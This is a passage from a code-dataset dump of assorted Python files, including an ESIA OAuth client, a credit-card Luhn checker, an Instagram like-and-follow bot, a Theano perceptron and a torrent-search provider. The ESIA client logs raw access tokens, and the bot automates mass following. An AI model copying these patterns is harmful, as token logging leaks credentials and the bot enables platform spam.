Получение документа удостоверяющего личность пользователя\n \"\"\"\n url = '{base}/prns/{oid}/docs/{doc_id}'.format(base=self._rest_base_url, oid=self.oid, doc_id=doc_id)\n return self._request(url=url)\n\n\nclass Auth:\n \"\"\"\n Клиент авторизации Е��ИА\n \"\"\"\n _AUTHORIZATION_URL = '/aas/oauth2/ac'\n _TOKEN_EXCHANGE_URL = '/aas/oauth2/te'\n\n def __init__(self, settings: Settings):\n \"\"\"\n Args:\n settings: настройки клиента ЕСИА\n request_timeout: таймаут запросов по умолчанию в секундах\n\n \"\"\"\n self.settings = settings\n\n def _sign_params(self, params: dict):\n \"\"\"\n Подписывает параметры цифровой подписью.\n Метод добавляет в параметры поле client_secret с закодированной в base64 цифровой подписью\n\n Args:\n params: параметры запроса\n\n \"\"\"\n parts = (\n str(params.get('scope', '')),\n params.get('timestamp', ''),\n params.get('client_id', ''),\n str(params.get('state', '')),\n )\n\n params['client_secret'] = esia_client.utils.sign(''.join(parts), self.settings._crt, self.settings._pkey)\n logger.info(f'Sign request params. Client secret size: {len(params[\"client_secret\"])}')\n\n def get_auth_url(self, state: Union[str, uuid.UUID] = uuid.uuid4(), redirect_uri=None):\n \"\"\"\n Генерация URL перехода на сайт ЕСИА для авторизации пользователя\n\n Args:\n state: идентификатор запроса\n redirect_uri: ссылка для перенаправления пользователя после авторизации\n\n Returns:\n Ссылка авторизации\n \"\"\"\n params = {\n 'client_id': self.settings.esia_client_id,\n 'redirect_uri': redirect_uri or self.settings.redirect_uri,\n 'scope': self.settings.scope_string,\n 'response_type': 'code',\n 'state': state or str(uuid.uuid4()),\n 'timestamp': esia_client.utils.get_timestamp(),\n 'access_type': 'offline'\n }\n self._sign_params(params)\n\n return '{base_url}{auth_url}?{params}'.format(base_url=self.settings.esia_service_url,\n auth_url=self._AUTHORIZATION_URL,\n params=esia_client.utils.format_uri_params(params))\n\n def complete_authorization(self, code, state: str = None, redirect_uri: str = None) -> UserInfo:\n \"\"\"\n Полученение токена авторизации и клиента запроса информации\n\n Args:\n code: код авторизации\n state: идентификатор сессии авторизации в формате `uuid.UUID`\n redirect_uri: URL для переадресации после авторизации\n\n Raises:\n\n IncorrectJsonError: Неверный формат JSON-ответа\n HttpError: Ошибка сети или сервера\n IncorrectMarkerError: Неверный формат токена\n \"\"\"\n\n if not state:\n state = str(uuid.uuid4())\n logger.info(f'Complete authorisation with state {state}')\n\n params = {\n 'client_id': self.settings.esia_client_id,\n 'code': code,\n 'grant_type': 'authorization_code',\n 'redirect_uri': redirect_uri or self.settings.redirect_uri,\n 'timestamp': esia_client.utils.get_timestamp(),\n 'token_type': 'Bearer',\n 'scope': self.settings.scope_string,\n 'state': state,\n }\n\n self._sign_params(params)\n\n response_json = esia_client.utils.make_request(\n url=f\"{self.settings.esia_service_url}{self._TOKEN_EXCHANGE_URL}\",\n method='POST', data=params, timeout=self.settings.timeout,\n )\n\n access_token = response_json['access_token']\n id_token = response_json['id_token']\n payload = esia_client.utils.decode_payload(id_token.split('.')[1])\n logger.debug(f'Access token: {access_token}, id token: {id_token}')\n\n return UserInfo(access_token=access_token,\n oid=self._get_user_id(payload),\n settings=self.settings)\n\n @staticmethod\n def _get_user_id(payload: dict) -> str:\n \"\"\"\n Получение идентификатора пользователя в системе ЕСИА из данных токена\n \"\"\"\n try:\n user_id = payload['urn:esia:sbj']['urn:esia:sbj:oid']\n logger.debug(f'Found user id: {user_id}')\n return user_id\n except KeyError:\n raise esia_client.exceptions.IncorrectMarkerError(payload)\n","sub_path":"esia_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":10078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"317820696","text":"#Sam Stifer\n#Credit Card Checker\n#2014-12-19\n\nfrom graphics import *\nfrom button import *\n\nwin = GraphWin(\"Credit Card Checker\", 400, 400)\nvaliditytext = Text(Point(200, 260), \"\")\nvaliditytext.setSize(25)\nvaliditytext.draw(win)\n\n\ndef invalid():\n validitytext.setText(\"INVALID\")\n validitytext.setTextColor(\"Red\")\n logo = Image(Point(200, 215), \"invalid.gif\")\n logo.draw(win)\n\ndef valid():\n validitytext.setText(\"Valid\")\n validitytext.setTextColor(\"Green\")\n\ndef checker(card):\n cardnum = card.translate(None, \"-./,_\")\n cardlen = len(cardnum)\n validity = luhn(cardnum)\n if cardnum[:2] in [\"51\", \"52\", \"53\", \"54\", \"55\"] and cardlen == 16:\n if validity is True:\n mc = Image(Point(200, 215), \"mc.gif\")\n mc.draw(win)\n valid()\n if validity is False:\n invalid()\n elif cardnum[:1] == \"4\" and cardlen in [16,13] :\n if validity is True:\n visa = Image(Point(200, 215), \"visa.gif\")\n visa.draw(win)\n valid()\n if validity is False:\n invalid()\n elif cardnum[:2] in [\"34\", \"37\"] and cardlen == 15:\n if validity is True:\n amex = Image(Point(200, 215), \"amex.gif\")\n amex.draw(win)\n valid()\n if validity is False:\n invalid()\n elif cardnum[:4] == \"6011\" and cardlen == 16:\n if validity is True:\n ds = Image(Point(200, 215), \"ds.gif\")\n ds.draw(win)\n valid()\n if validity is False:\n invalid()\n else:\n invalid()\n\ndef luhn(card):\n cardnum = card[::-1]\n cardlist = list(cardnum)\n cardnum = \"\"\n for x in range(1,len(cardlist),2):\n num = int(cardlist[x])*2\n cardlist[x] = str(num)\n for y in range(0,len(cardlist)):\n cardnum = cardnum + cardlist[y]\n cardlist = list(cardnum)\n cardsum = sum(int(x) for x in cardlist)\n\n if cardsum % 10 == 0:\n validity = True\n else:\n validity = False\n\n return validity\n\ndef main():\n exit = False\n title = Text(Point(200,30),\"Credit Card Checker\")\n title.setSize(30)\n title.draw(win)\n\n cardentry = Entry(Point(200,75),20)\n cardentry.draw(win)\n\n checkbutton = Button(win,Point(200,115),25,150,\"Check This Card\")\n checkbutton.activate()\n\n exitbutton = Button(win,Point(200,370),25,100,\"Exit\")\n exitbutton.activate()\n\n while exit is False:\n click = win.getMouse()\n if checkbutton.clicked(click):\n cover = Rectangle(Point(168, 194.5),Point(232, 235.5)) #Center 200,215\n cover.setFill(\"white\")\n cover.setOutline(\"white\")\n cover.draw(win)\n checker(cardentry.getText())\n if exitbutton.clicked(click):\n win.close()\n exit = True\n\n\n\n\n\nmain()\n","sub_path":"credit-card-graphics/00 credit-card-graphics.py","file_name":"00 credit-card-graphics.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"195835295","text":"\"\"\"\n instabot example\n\n Workflow:\n Like and follow you last media likers.\n\"\"\"\n\nimport sys\nimport os\nimport time\nimport random\nfrom tqdm import tqdm\n\nsys.path.append(os.path.join(sys.path[0],'../'))\nfrom instabot import Bot\n\ndef like_and_follow(bot, user_id, nlikes=3):\n bot.like_user(user_id, amount=nlikes)\n bot.follow(user_id)\n return True\n\ndef like_and_follow_media_likers(bot, media, nlikes=3):\n for user in tqdm(bot.get_media_likers(media), desc=\"Media likers\"):\n like_and_follow(bot, user)\n time.sleep(10 + 20 * random.random())\n return True\n\nif len(sys.argv) != 2:\n print (\"USAGE: Pass media_id\")\n print (\"Example: python %s 123123123123\" % sys.argv[0])\n exit()\n\nbot = Bot()\nbot.login()\nlike_and_follow_media_likers(bot, sys.argv[1])\n","sub_path":"examples/like_and_follow_media_likers.py","file_name":"like_and_follow_media_likers.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"487374419","text":"#!/usr/bin/python\n##\n##\n## Developed by: Suraj Singh\n## surajsinghbisht054@gmail.com\n## github.com/surajsinghbisht054\n## http://bitforestinfo.blogspot.com\n##\n## Permission is hereby granted, free of charge, to any person obtaining\n## a copy of this software and associated documentation files (the\n## \"Software\"), to deal with the Software without restriction, including\n## without limitation the rights to use, copy, modify, merge, publish,\n## distribute, sublicense, and/or sell copies of the Software, and to\n## permit persons to whom the Software is furnished to do so, subject to\n## the following conditions:\n##\n## + Redistributions of source code must retain the above copyright\n## notice, this list of conditions and the following disclaimers.\n##\n## + Redistributions in binary form must reproduce the above copyright\n## notice, this list of conditions and the following disclaimers in the\n## documentation and/or other materials provided with the distribution.\n##\n## + Neither the names of Suraj Singh\n## surajsinghbisht054@gmail.com\n## github.com/surajsinghbisht054\n## http://bitforestinfo.blogspot.com nor\n## the names of its contributors may be used to endorse or promote\n## products derived from this Software without specific prior written\n## permission.\n##\n## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n## OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n## IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR\n## ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\n## CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH\n## THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE SOFTWARE.\n##\n##\n## ################################################\n## ###### Please Don't Remove Author Name #########\n## ############# Thanks ###########################\n## ################################################\n##\n##\n__author__='''\n Suraj Singh\n surajsinghbisht054@gmail.com\n http://bitforestinfo.blogspot.com/\n'''\nfrom Graphics import Tkinter\nfrom Graphics import tkFont, ttk\nimport time\nfrom threading import Thread\n\nWIDTH=250\nHEIGHT=150\nclass Banner:\n\tdef __init__(self, widget, text, width=None, height=None):\n\t\tself.widget = widget\n\t\tself.text = text\n\t\tself.FocusLine = False\n\t\tself.window = None\n\t\tself.width=width\n\t\tself.height=height\n\t\tself.MouseBindings()\n\n\tdef AutoHide(self):\n\t\ttime.sleep(5)\n\t\tself.HideInfo()\n\t\treturn\n\n\tdef MouseBindings(self):\n\t\t# Show Banner\n\t\tfor key in ['']:\n\t\t\tself.widget.bind(key, self.ShowInfo)\n\t\t\n\t\tfor key in ['']:\n\t\t\tself.widget.bind(key, self.HideInfo)\n\t\treturn\n\t\t\n\n\n\tdef HideInfo(self, event=None):\n\t\tif self.window:\n\t\t\tself.window.destroy()\n\t\t\tself.window=None\n\t\treturn\n\n\tdef ShowInfo(self, event=None):\n\t\tif not self.window:\n\t\t\tself.window=Tkinter.Toplevel()\n\t\t\tself.window.overrideredirect(True)\n\t\t\tWIDTH = self.width or len(self.text)*10\n\t\t\tHEIGHT = self.height or (len(self.text.split('\\n'))+1)*10\n\t\t\tself.window.geometry(\"%dx%d+%d+%d\" % (WIDTH,HEIGHT,\n\t\t\t\tevent.x_root+10,\n\t\t\t\tevent.y_root+10\n\t\t\t\t))\n\t\t\tLabel=Tkinter.Label(self.window, text=self.text, font=(\"arial 10 bold\"), fg='white', bg='black')\n\t\t\tLabel.pack(expand=True, fill='both')\n\t\t\tself.window.wait_visibility(self.window)\n\t\t\tself.window.attributes('-alpha',0.7)\n\t\t\tt= Thread(target=self.AutoHide)\n\t\t\tt.start()\n\t\treturn\n\nif __name__=='__main__': \n\troot = Tkinter.Tk()\n\tButton = Tkinter.Button(root, text=\"Point Mouse Here\")\n\tButton.pack(padx=20, pady=20)\n\tBanner(Button, \"\"\"Testing Windows\"\"\")\n\troot.mainloop()\n","sub_path":"magicsticklibs/InfoBanner.py","file_name":"InfoBanner.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"570833983","text":"import nnets.core.utils as nut\n\nimport nnets.hidden_layer as nhl\nimport nnets.logistic_layer as nll\n\nimport six.moves.cPickle as pickle\nimport timeit\nimport numpy\nimport theano\nimport theano.tensor as T\n\nimport pdb\n\n\n\nclass multilayer_perceptron(nut.persistent_container):\n\n def __init__(self,name,n_in,n_out,n_hiddens):\n nut.persistent_container.__init__(self,'networks',name)\n if self.load():print('... loaded mlp \\'%s\\' ...' % (self.name))\n else:\n ### collect variables\n n_hiddenlayers = len(n_hiddens)\n assert n_hiddenlayers > 0\n self.n_hiddenlayers = n_hiddenlayers\n self.n_hiddens = n_hiddens\n self.n_in = n_in\n self.n_out = n_out\n self.x = T.matrix('x')\n self.params = []\n self.level = 0.0\n self.rng = numpy.random.RandomState(1234)\n ### setup layers\n n_hidden,l_activator = n_hiddens[0]\n l_in,l_n_in,l_n_out = self.x,n_in,n_hidden\n ilayer = nhl.hidden_layer(l_in,l_n_in,l_n_out,self.rng,l_activator)\n self.params.extend(ilayer.params)\n l0 = ilayer\n for j in range(1,n_hiddenlayers):\n n_hidden,l_activator = n_hiddens[j]\n l_in,l_n_in,l_n_out = l0.y,l0.n_out,n_hidden\n l1 = nhl.hidden_layer(l_in,l_n_in,l_n_out,self.rng,l_activator)\n self.params.extend(l1.params)\n l0 = l1\n log_layer = nll.logistic_layer(l0.y,l0.n_out,n_out)\n self.params.extend(log_layer.params)\n ### grab needed functions for training / usage\n self.cost = log_layer.cost\n self.errors = log_layer.errors\n self.predictor = theano.function([ilayer.x],log_layer.y)\n #self.L1 = (abs(ilayer.W).sum()+abs(self.llayer.W).sum())\n #self.L2_sqr = ((ilayer.W**2).sum()+(self.llayer.W**2).sum())\n\n\n def train(self,train_x,train_y,valid_x,valid_y,test_x,test_y,\n target = 0.99,learning_rate = 0.01,batch_size = 100,max_time = 60):\n if self.level < target:\n regiment = self.inittraining(\n train_x,train_y,valid_x,valid_y,test_x,test_y,\n learning_rate,batch_size)\n print('... training network \\'%s\\' for %i seconds ...' % (self.name,max_time))\n s_time = timeit.default_timer()\n self.dotraining(regiment,\n start_time = s_time,max_time = max_time,\n learning_rate = learning_rate,target = target)\n e_time = timeit.default_timer()\n d_time = e_time-s_time\n print('... trained network \\'%s\\' for %f seconds ...' % (self.name,d_time))\n self.save()\n print('... saved network \\'%s\\'; trained to level %f ...' % (self.name,self.level))\n return self\n\n\n def inittraining(self,train_x,train_y,valid_x,valid_y,test_x,test_y,\n learning_rate = 0.01,batch_size = 100):\n train_x,train_y = nut.shared_dataset(train_x,train_y)\n valid_x,valid_y = nut.shared_dataset(valid_x,valid_y)\n test_x ,test_y = nut.shared_dataset(test_x , test_y)\n n_train_batches = train_x.get_value(borrow = True).shape[0]//batch_size\n n_valid_batches = valid_x.get_value(borrow = True).shape[0]//batch_size\n n_test_batches = test_x.get_value(borrow = True).shape[0]//batch_size\n assert n_train_batches > 0 and n_valid_batches > 0 and n_test_batches > 0\n x,y,index = self.x,T.ivector('y'),T.lscalar()\n\n L1_reg,L2_reg,L1,L2_sqr = 0.001,0.0001,0.0,0.0\n cost = self.cost(y) + L1_reg*L1 + L2_reg*L2_sqr\n gparams = [T.grad(cost,param) for param in self.params]\n updates = [(p,p-learning_rate*gp) for p,gp in zip(self.params,gparams)]\n\n ips,ops = [index],self.errors(y)\n b1,b2 = index*batch_size,(index+1)*batch_size\n train_f = theano.function(ips,cost,updates = updates,\n givens = {x: train_x[b1:b2],y: train_y[b1:b2]})\n valid_f = theano.function(ips,ops,\n givens = {x: valid_x[b1:b2],y: valid_y[b1:b2]})\n test_f = theano.function(ips,ops,\n givens = {x: test_x[b1:b2],y: test_y[b1:b2]})\n training = {\n 'train_f':train_f,'n_train_batches':n_train_batches,\n 'valid_f':valid_f,'n_valid_batches':n_valid_batches,\n 'test_f' : test_f,'n_test_batches' : n_test_batches,\n }\n return training\n\n\n # stochastic gradient descent optimization \n # early-stopping parameters\n # patience -> look as this many examples regardless\n # patience_increase -> wait this much longer when a new best is found\n # improvement_threshold -> a relative improvement of this much is considered significant\n def dotraining(self,regiment,learning_rate = 0.01,batch_size = 100,\n patience = 10000,patience_increase = 2,improvement_threshold = 0.995,\n n_epochs = 10000,start_time = None,max_time = 60.0,target = 1.0):\n if start_time is None:start_time = timeit.default_timer()\n v_frequency = min(regiment['n_train_batches'],patience//2)\n best_v_loss,best_i,test_score = numpy.inf,0,0.0\n epoch,done_looping = 0,False\n\n while (epoch < n_epochs) and (not done_looping):\n if timeit.default_timer()-start_time > max_time:\n print('... training session timed out ...')\n break\n epoch = epoch + 1\n\n for minibatch_i in range(regiment['n_train_batches']):\n minibatch_avg_cost = regiment['train_f'](minibatch_i)\n\n i = (epoch - 1) * regiment['n_train_batches'] + minibatch_i\n if (i + 1) % v_frequency == 0:\n\n # compute zero-one loss on validation set\n v_losses = [regiment['valid_f'](i) for i in range(regiment['n_valid_batches'])]\n this_v_loss = numpy.mean(v_losses)\n print('\\tepoch %i, minibatch %i/%i, validation error %f %%' %\n (epoch,minibatch_i+1,regiment['n_train_batches'],this_v_loss*100.))\n\n if this_v_loss < best_v_loss:\n if (this_v_loss < best_v_loss*improvement_threshold):\n patience = max(patience,i*patience_increase)\n best_v_loss,best_i = this_v_loss,i\n\n test_losses = [regiment['test_f'](i) for i in range(regiment['n_test_batches'])]\n test_score = numpy.mean(test_losses)\n print(('\\tepoch %i, minibatch %i/%i, test error of best model %f %%') %\n (epoch,minibatch_i+1,regiment['n_train_batches'],test_score*100.))\n self.level = 1.0-test_score\n if self.level >= target:\n print('... training session ending early ...')\n done_looping = True\n break\n if patience <= i:\n done_looping = True\n break\n\n m = ('\\toptimization complete...\\n\\tbest validation score of %3f %% '\n '\\n\\tobtained at iteration %i, with test performance %3f %%')\n print(m % (best_v_loss*100.,best_i+1,test_score*100.))\n test_losses = [regiment['test_f'](i) for i in range(regiment['n_test_batches'])]\n test_score = numpy.mean(test_losses)\n self.level = 1.0-test_score\n\n\n\n\n\n\n","sub_path":"src/nnets/nnetworks/multilayer_perceptron.py","file_name":"multilayer_perceptron.py","file_ext":"py","file_size_in_byte":7530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"11636910","text":"\nfrom lib.novatest import NovaEC2Test\nfrom random import random\nimport time\n\nclass Fake(NovaEC2Test):\n def main(self):\n _result = False\n sw = self.get_stopwatch()\n time_to_done = None\n if time.sleep(2 + random()) == None:\n time_to_done = sw.stop()\n _result = True\n self.add_result(test_name=self.__class__.__name__, result=_result, time_to_done=time_to_done)\n\nif __name__ == '__main__':\n o = Fake()\n o.main()\n o.emit_results()\n\n","sub_path":"test_fake.py","file_name":"test_fake.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"501301405","text":"# batch convert image size & format\n# input: DIR_SRC\n# output: DIR_DST\n# format: .jpg/.png/... --> WIDTH, HEIGHT .png\n# date: 2019/07/31\n# last_mdf: 2019/08/01\n\nimport os, math\nfrom PIL import Image\n\n# target size\nWIDTH, HEIGHT = 1080, 720\n# target dir\nDIR_SRC, DIR_DST = './img_src/', './img_dst/'\n\n\ndef get_std_size(w, h):\n if WIDTH * h < HEIGHT * w: # h < std_h = w * (HEIGHT / WIDTH)\n s_w, s_h = int(h * WIDTH / HEIGHT), h\n else:\n s_w, s_h = w, int(w * HEIGHT / WIDTH)\n return s_w, s_h\n\n\n# convert single img\ndef convert_img(img_name, im_id):\n im = Image.open(DIR_SRC + img_name)\n # 1. Rotate: let width > height (if not ~ -> rotate)\n w, h = im.size\n if h > w:\n im = im.transpose(Image.ROTATE_90)\n w, h = h, w\n # 2. Crop: crop WIDTH : HEIGHT\n s_w, s_h = get_std_size(w, h)\n x, y = (w - s_w) // 2, (h - s_h) // 2\n box = (x, y, x + s_w, y + s_h)\n im = im.crop(box)\n # 3. Resize: resize to (WIDTH, HEIGHT)\n im = im.resize((WIDTH, HEIGHT), Image.ANTIALIAS)\n # set name & save\n name, _ = os.path.splitext(img_name)\n img_name = 'blur_' + im_id + '.png'\n im.save(DIR_DST + img_name)\n\n\n# convert images in dir_src\ndef main():\n # check src dir\n if not os.path.exists(DIR_SRC):\n os.makedirs(DIR_SRC)\n # check dst dir\n if not os.path.exists(DIR_DST):\n os.makedirs(DIR_DST)\n # convert all\n files = os.listdir(DIR_SRC)\n im_id = 1\n im_tot = len(files)\n for file in files:\n convert_img(file, str(im_id))\n print('\\rprocess: {}/{}'.format(im_id, im_tot), end='')\n im_id += 1\n # finish\n print('\\n***** finished! *****')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"img_crop_utils/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"612727112","text":"from elasticsearch import Elasticsearch,RequestsHttpConnection\nfrom requests_aws4auth import AWS4Auth\nfrom botocore.vendored import requests\nimport boto3\nimport json\nimport logging\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nsession = boto3.Session()\ncredentials = session.get_credentials()\naccess_key = credentials.access_key\nsecret_key = credentials.secret_key\nregion = 'us-east-1'\n\nhost = ''\nawsauth = AWS4Auth(access_key,secret_key, region, 'es',session_token=credentials.token)\n\ndef lambda_handler(event,context):\n \n es = Elasticsearch(\n hosts=[{'host': host, 'port': 443}],\n http_auth=awsauth,\n use_ssl=True,\n verify_certs=True,\n connection_class=RequestsHttpConnection\n )\n # print(type(event))\n # print(event)\n \n index = event[\"t\"]\n Preference = event[\"p\"]\n user = event[\"user_id\"]\n \n if index == \"restaurants\":\n Name = event[\"name\"]\n res = es.search(index=index, body={\"query\": {\"bool\": {\"must\": [{ \"match\": { \"Name\": Name }},{ \"match\": { \"user\": user }}]}}})\n \n for hit in res[\"hits\"][\"hits\"]:\n id_ = hit[\"_id\"]\n type_ = hit[\"_type\"]\n \n res3 = es.update(index='restaurants', doc_type=type_, id=id_, body={\"doc\": {\"Preference\": Preference}})\n \n print(\"res: \"+str((res)))\n \n if index == \"movies\":\n Name = event[\"name\"]\n res = es.search(index=index, body={\"query\": {\"bool\": {\"must\": [{ \"match\": { \"Name\": Name }},{ \"match\": { \"user\": user }}]}}})\n \n \n for hit in res[\"hits\"][\"hits\"]:\n id_ = hit[\"_id\"]\n type_ = hit[\"_type\"]\n res3 = es.update(index='movies', doc_type=type_, id=id_, body={\"doc\": {\"Preference\": Preference}})\n print(\"res3: \"+str((res3)))\n \n if index == \"music\":\n Name = event[\"name\"]\n res = es.search(index=index, body={\"query\": {\"bool\": {\"must\": [{ \"match\": { \"Name\": Name }},{ \"match\": { \"user\": user }}]}}})\n \n for hit in res[\"hits\"][\"hits\"]:\n id_ = hit[\"_id\"]\n type_ = hit[\"_type\"]\n res3 = es.update(index='music', doc_type=type_, id=id_, body={\"doc\": {\"Preference\": Preference}})\n \n print(\"res3: \"+str((res3)))\n \n \n \n \n \n resp = {\n 'headers': {\n \"Access-Control-Allow-Origin\": \"*\",\n \"Content-Type\": \"text/plain\"\n },\n \n 'statusCode': 200,\n 'body': str(res3)\n \n }\n \n return resp\n\n ","sub_path":"LambdaFunction/L11.py","file_name":"L11.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"109255912","text":"# ans = 16695334890, time cost = 103.166 s\n\nfrom itertools import permutations as p\nfrom operator import add\nfrom functools import reduce\nfrom numpy import array\n\ndef main():\n f = lambda tp : reduce(add,(str(x) for x in tp))\n pandigts = [f(x) for x in list(p(range(10),10))][362880:]\n myint = lambda x : int(x) if x[0]!='0' else int(x[1:])\n res = 0\n denominator = array([2,3,5,7,11,13,17])\n for pd in pandigts:\n nominator = array([myint(pd[x:x+3]) for x in range(1,8)])\n if all(nominator%denominator == 0):\n res += int(pd)\n return res\n","sub_path":"043.py","file_name":"043.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"117461876","text":"# coding=utf-8\n\nimport traceback\nfrom bs4 import BeautifulSoup\n\nimport sickbeard\nfrom sickbeard import logger, tv_cache\n\nfrom sickrage.helper.common import convert_size, try_int\nfrom sickrage.providers.torrent.torrent_provider import TorrentProvider\n\n\nclass BitSnoopProvider(TorrentProvider): # pylint: disable=too-many-instance-attributes\n\n def __init__(self):\n\n TorrentProvider.__init__(self, \"BitSnoop\")\n\n self.urls = {\n 'index': 'http://bitsnoop.com',\n 'search': 'http://bitsnoop.com/search/video/',\n 'rss': 'http://bitsnoop.com/new_video.html?fmt=rss'\n }\n\n self.url = self.urls['index']\n\n self.public = True\n self.minseed = None\n self.minleech = None\n\n self.proper_strings = ['PROPER', 'REPACK']\n\n self.cache = tv_cache.TVCache(self, search_params={'RSS': ['rss']})\n\n def search(self, search_strings, age=0, ep_obj=None): # pylint: disable=too-many-branches,too-many-locals\n results = []\n for mode in search_strings:\n items = []\n logger.log(u\"Search Mode: {}\".format(mode), logger.DEBUG)\n for search_string in search_strings[mode]:\n\n if mode != 'RSS':\n logger.log(u\"Search string: {}\".format(search_string.decode(\"utf-8\")),\n logger.DEBUG)\n\n try:\n search_url = (self.urls['rss'], self.urls['search'] + search_string + '/s/d/1/?fmt=rss')[mode != 'RSS']\n\n data = self.get_url(search_url, returns='text')\n if not data:\n logger.log(u\"No data returned from provider\", logger.DEBUG)\n continue\n\n if not data.startswith(' 1:\n r, p = stats.pearsonr(x, y)\n else:\n r, p = None, None\n\n format_axes()\n if xlbl is not None:\n plt.xlabel(xlbl, fontsize=AXIS_FONTSIZE)\n if ylbl is not None:\n plt.ylabel(ylbl, fontsize=AXIS_FONTSIZE)\n\n return r, p, fit\n\n\ndef plot_linear_fit(X, y, lw=3, color=COLORS[3],\n predconf=0.8, alpha=0.2):\n \"\"\"Plots a linear fit to a covariate with a prediction interval\n\n Only supports a single regressor\n \"\"\"\n fit, X = modelling.fit_linear_model(X, y)\n\n xlbl = [colname for colname in X.columns if colname != \"const\"]\n assert len(xlbl) == 1, \"multiple potential x-axis variables\"\n \n # Extracting prediction interval @ prediction confidence\n dummy_preds = fit.get_prediction(X)\n predint = dummy_preds.summary_frame(alpha=1-predconf)\n\n x = X[xlbl[0]]\n plt.plot(x, fit.fittedvalues, color='r')\n plt.fill_between(\n x, predint[\"obs_ci_lower\"], predint[\"obs_ci_upper\"],\n alpha=alpha, color=\"gray\")\n\n return fit\n\n\ndef scatterplot_df(covdf, xcolname, ycolname, *args,\n xlbl=None, ylbl=None, **kwargs):\n\n if xlbl is None:\n assert xcolname in AXISLBLS, \"xcolname not in lookup w/ no default\"\n xlbl = AXISLBLS[xcolname]\n\n if ylbl is None:\n assert ycolname in AXISLBLS, \"ycolname not in lookup w/ no default\"\n ylbl = AXISLBLS[ycolname]\n\n r, p, fit = scatterplot(covdf[xcolname], covdf[ycolname],\n xlbl, ylbl, *args, **kwargs)\n\n return r, p, fit\n\n#==========================================================\n# Helper Functions\n\n\ndef format_axes(ax=None):\n ax = plt.gca() if ax is None else ax\n\n ax.spines[\"bottom\"].set_linewidth(1.5)\n ax.spines[\"left\"].set_linewidth(1.5)\n ax.spines[\"right\"].set_linewidth(0)\n ax.spines[\"top\"].set_linewidth(0)\n\n ax.tick_params(length=10, width=1.5, labelsize=18)\n ax.tick_params(length=5, width=1, which=\"minor\")\n\n\ndef barplot_annotate_brackets(\n num1, num2, data, center, height, yerr=None,\n dh=.05, barh=.05, fs=None, maxasterix=None):\n \"\"\" \n Annotate plot with p-values.\n\n :param num1: number of left bar to put bracket over\n :param num2: number of right bar to put bracket over\n :param data: string to write or number for generating asterixes\n :param center: centers of all bars (like plt.bar() input)\n :param height: heights of all bars (like plt.bar() input)\n :param yerr: yerrs of all bars (like plt.bar() input)\n :param dh: height offset over bar / bar + yerr in axes coordinates (0 to 1)\n :param barh: bar height in axes coordinates (0 to 1)\n :param fs: font size\n :param maxasterix: maximum number of asterixes to write (for very small p-values)\n \"\"\"\n # copied from StackOverflow\n # https://stackoverflow.com/questions/11517986/indicating-the-statistically-significant-difference-in-bar-graph # noqa\n\n if type(data) is str:\n text = data\n else:\n # * is p < 0.05\n # ** is p < 0.005\n # *** is p < 0.0005\n # etc.\n text = ''\n p = .05\n\n while data < p:\n text += '*'\n p /= 10.\n\n if maxasterix and len(text) == maxasterix:\n break\n\n if len(text) == 0:\n text = 'n. s.'\n\n lx, ly = center[num1], height[num1]\n rx, ry = center[num2], height[num2]\n\n if yerr:\n ly += yerr[num1]\n ry += yerr[num2]\n\n ax_y0, ax_y1 = plt.gca().get_ylim()\n dh *= (ax_y1 - ax_y0)\n barh *= (ax_y1 - ax_y0)\n\n y = max(ly, ry) + dh\n\n barx = [lx, lx, rx, rx]\n bary = [y, y+barh, y+barh, y]\n mid = ((lx+rx)/2, y+barh)\n\n plt.plot(barx, bary, c='black')\n\n kwargs = dict(ha='center', va='bottom', fontsize=20)\n if fs is not None:\n kwargs['fontsize'] = fs\n\n plt.text(*mid, text, **kwargs)\n","sub_path":"notebooks/vignette_analysis/mitochondria/lib/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"159587487","text":"import sys\n\n# ENSEMBLE RMSD :: MUTATION SITE \n\ng = open(\"{}\".format(sys.argv[1]), \"r\")\ngt = g.readlines()\ng.close()\n\nvar1 = 0.5\n\nh = open(\"pot_backbone_change.csv\", \"w\")\nh.write(\"#WT,WTC,MUT,MUTC,LRMSD,LRMSD_ENSEMBLE,LRMSD_MUTSITE_RESIDUE,LRMSD_REST_RESIDUE\\n\")\n\n\nd1 = dict()\nk = 0\nwhile k < len(gt):\n\tgt1 = gt[k].split()\n\ttemp = gt1[0].split(\"-\")\n\tt1 = temp[0]\n\tt2 = t1.split(\"_\")\n\t\n\tt3 = temp[1]\n\tt4 = t3.split(\"_\")\n\n\tkey1 = (t2[0],t2[1],t4[0],t4[1])\n\n\tvalue = (gt1[1],gt1[2])\n\td1[key1] = 